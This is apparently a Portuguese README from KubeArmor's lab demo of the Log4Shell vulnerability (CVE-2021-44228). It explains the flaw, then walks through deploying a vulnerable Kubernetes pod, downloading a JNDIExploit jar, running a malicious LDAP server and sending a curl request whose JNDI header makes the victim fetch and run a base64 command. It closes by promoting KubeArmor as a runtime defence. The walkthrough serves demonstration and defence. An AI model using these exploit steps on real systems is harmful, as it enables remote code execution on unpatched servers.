kubearmor/log4j-cve-2021-44228Vulnerabilidade de Dia Zero do Apache Log4j, também conhecida como Log4Shell e CVE-2021-44228
Em 9 de dezembro de 2021, o mundo tomou conhecimento de uma nova vulnerabilidade identificada como CVE-2021-44228, que afeta o pacote de logging Java Apache log4j. Esta vulnerabilidade recebeu uma pontuação de gravidade de 10.0 (a designação mais crítica) e oferece execução remota de código trivial em hosts que interagem com software que utiliza esta versão do log4j. "Log4Shell" é o nome dado a esse ataque.
Hoje, a versão 2.15.0rc2 do log4j está disponível e corrige esta vulnerabilidade. No entanto, o perigo absoluto desta vulnerabilidade deve-se à ubiquidade do pacote de logging. Milhões de aplicações, bem como fornecedores de software, usam este pacote como dependência em seu próprio código.
Detecção mais antiga conhecida: 2021-12-01 04:36:50 UTC
Versões Afetadas:
Quem é afetado?
Impacto: Execução de código arbitrário como o usuário sob o qual o processo pai está sendo executado (código obtido da Internet pública, ou lolbins já presentes no sistema, ou apenas buscando segredos compartilhados ou variáveis de ambiente e retornando-os ao atacante).
Alvos: Servidores e clientes que executam Java e também registram qualquer coisa usando o framework log4j - principalmente uma preocupação do lado do servidor, mas qualquer endpoint vulnerável pode ser um alvo ou um ponto de pivô.
Projetos downstream: Até que se prove o contrário, assuma que qualquer coisa que inclua log4j - incluindo Elasticsearch, Apache Struts / Solr / Druid / Flink, etc. - é afetada de uma forma que requer mitigação.
Versões afetadas: log4j 2.x confirmado - log4j 1.x apenas indiretamente (vulns anteriores de divulgação de informações) (em algumas configurações)
Equipamentos: Não se esqueça de equipamentos que podem estar usando componentes de servidor Java, mas não serão detectados por varredura de vulnerabilidade não autenticada
Encaminhamento de logs: A infraestrutura de logging frequentemente tem muitas topologias de encaminhamento/retransmissão "norte" (enviar meus logs para alguém) e "sul" (receber logs de alguém). A encadeamento delas para exploração também deve ser considerado.
Nuvem: Vários grandes provedores também foram afetados (uma lista com curadoria da comunidade de software e serviços vulneráveis ao CVE-2021-44228 pode ser encontrada neste repositório GitHub.
Passo #1: Implantando pod com serviços associados vulneráveis ao Log4j no Kubernetes
git clone https://github.com/kubearmor/log4j-cve && cd log4j-cve
kubectl apply -f deploy-log4j-k8s.yaml
kubectl get po,svc
NAME READY STATUS RESTARTS AGE
pod/log4j-demo-5d7c84d8b9-vs8ck 1/1 Running 0 1h30m
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
service/kubernetes ClusterIP 10.112.0.1 <none> 443/TCP 4h44m
service/log4j-svc LoadBalancer 10.112.8.158 35.241.165.36 80:30202/TCP 1h30m
Observe que implantamos a aplicação de exemplo Log4Shell vulnerável no namespace
default
Passo #2: Baixando o servidor LDAP malicioso
wget https://log4j-knox.s3.amazonaws.com/JNDIExploit-1.2-SNAPSHOT.jar
Passo #3: Iniciando o servidor LDAP para tráfego de entrada em seu PC ou VM na nuvem
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [<seu-ip-privado>] -p 8888
O IP privado pode ser consultado usando
hostname -I.
Certifique-se de que seu firewall permita tráfego nas portas1389e8888
Passo #4: Explorando usando o comando cURL
# curl <protocolo://ip-da-vítima:porta> -H 'X-Api-Version: ${jndi:ldap://<ip-servidor-malicioso>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
curl http://35.241.165.36 -H 'X-Api-Version: ${jndi:ldap://34.135.86.213:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
Aqui, o 1º IP usado é nosso IP externo do k8s (Passo #1) onde a aplicação de exemplo vulnerável está em execução.
O 2º IP usado é o IP externo do servidor LDAP malicioso (Passo #2)
Passo #5: Confirmação verificando a criação do arquivo /tmp/pwned
kubectl exec -it --namespace default log4j-demo-5d7c84d8b9-vs8ck -- watch -n 2 ls /tmp
Substitua
log4j-demo-5d7c84d8b9-vs8ckpelo seu pod da saída do Passo #1.
Você deve conseguir ver um arquivo criado comopwneddentro do diretório/tmp.
KubeArmor é uma Plataforma de Segurança em Tempo de Execução que pode ajudar equipes de Segurança/DevSecOps a proteger suas cargas de trabalho usando controles baseados em aplicação/sistema (como limitar a Criação de Processos, limitar o acesso ao Sistema de Arquivos, limitar as capacidades dos pods, etc.). O KubeArmor possui um modo de visibilidade que permite à equipe de aplicação/segurança habilitar a visibilidade, descobrindo assim o que está acontecendo dentro dos pods, ou seja, quais processos são criados, quais acessos a arquivos são tentados, etc. A maior vantagem do KubeArmor é que, como usuário, você também pode enviar políticas que podem prevenir/bloquear/negar tais operações do sistema.
Normalmente, um atacante se infiltra com a intenção de exfiltrar dados internos, ou para criptomineração, ou simplesmente para causar estragos nos aplicativos internos com a intenção de torná-los indisponíveis. Em todos esses casos, o atacante precisa executar um programa arbitrário que possa cumprir sua intenção maliciosa. A vulnerabilidade Log4j permite que o atacante coloque um binário dentro da rede interna. No entanto, podem ser colocadas barreiras para não permitir que o JVM crie processos.